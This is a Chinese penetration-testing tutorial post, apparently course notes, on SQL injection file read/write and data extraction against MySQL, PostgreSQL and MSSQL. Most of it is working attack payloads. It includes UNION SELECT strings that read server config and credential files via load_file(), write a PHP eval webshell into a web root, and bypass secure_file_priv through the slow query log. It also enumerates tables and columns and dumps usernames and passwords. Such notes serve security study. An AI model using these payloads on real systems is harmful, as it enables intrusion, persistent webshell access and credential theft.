《渗透测试》WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL 2022 Day25

发布时间 2023-03-27 17:06:27作者: muqing1
1

 

 

mysql一些命令介绍
 
1 load_file() 
通过select load_file('xx.xx');读取文件

读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。

如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

其他利用方式:https://blog.csdn.net/god_7z1/article/details/6753071

MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件,如:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本

/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

1.1 进入cmd

 

 1.2 因为数据库设置成secure_file_priv=NULL 无法显示数据因此要修改mysql.ini

 

 

1.3  执行命令,解决成功

 

 

1.4 读取文件

 

 

2 outfile
2.1 通过 select ‘xxx写入的内容' into outfile('文件路径);将内容写入到指定文件中、

 

2.2 写入成功

 

 

 

2.3 若是写入到已存在文件会报错

 

 

 
 
#MYSQL-root高权限读写注入

-读取文件:

查看回显位置,发现在1,2处

 

 

UNION SELECT 1,load_file('d:/1.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

看到1 和456 其中456是D盘1.txt文件的内容

 

 

-写入文件:

UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'

 

 union select 1,'<?php eval($_POST['x']);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'D:/phpstudy/WWW/php/phpmysql/muma.php 

写入php一句话木马文件到指定路径下,用菜刀连接可以管理web

 

-路径获取:phpinfo,报错,字典等

-无法写入:secure_file_priv 突破 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过

set global slow_query_log=1; 开启慢日志

set global slow_query_log_file='shell路径';

select '<?php eval($_GET[A])?>' or SLEEP(1);

 

 

#PostgreSQL-高权限读写注入

-测列数:

order by 4

and 1=2 union select null,null,null,null

-测显位:第23

and 1=2 union select 'null',null,null,null 错误

and 1=2 union select null,null,null,null

and 1=2 union select null,null,'null',null 正常

and 1=2 union select null,null,null,'null' 错误

-获取信息:

and 1=2 UNION SELECT null,version(),null,null

and 1=2 UNION SELECT null,current_user,null,null

and 1=2 union select null,current_database(),null,null

-获取数据库名:

and 1=2 union select null,string_agg(datname,','),null,null from pg_database

-获取表名:

1and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'

2and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

-获取列名:

and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

-获取数据:

and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):

and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

参考:https://www.freebuf.com/sectool/249371.html

 

#MSSQL-sa高权限读写执行注入

-测列数:

order by 4

and 1=2 union all select null,null,null,null

-测显位:

and 1=2 union all select null,1,null,null

and 1=2 union all select null,null,'s',null

-获取信息:

@@version 获取版本信息

db_name() 当前数据库名字

user、system_user,current_user,user_name 获取当前用户名

@@SERVERNAME 获取服务器主机信息

and 1=2 union all select null,db_name(),null,null

-获取表名:

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

-获取列名:

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

-获取数据:

and 1=2 union all select null,username, password ,null from manage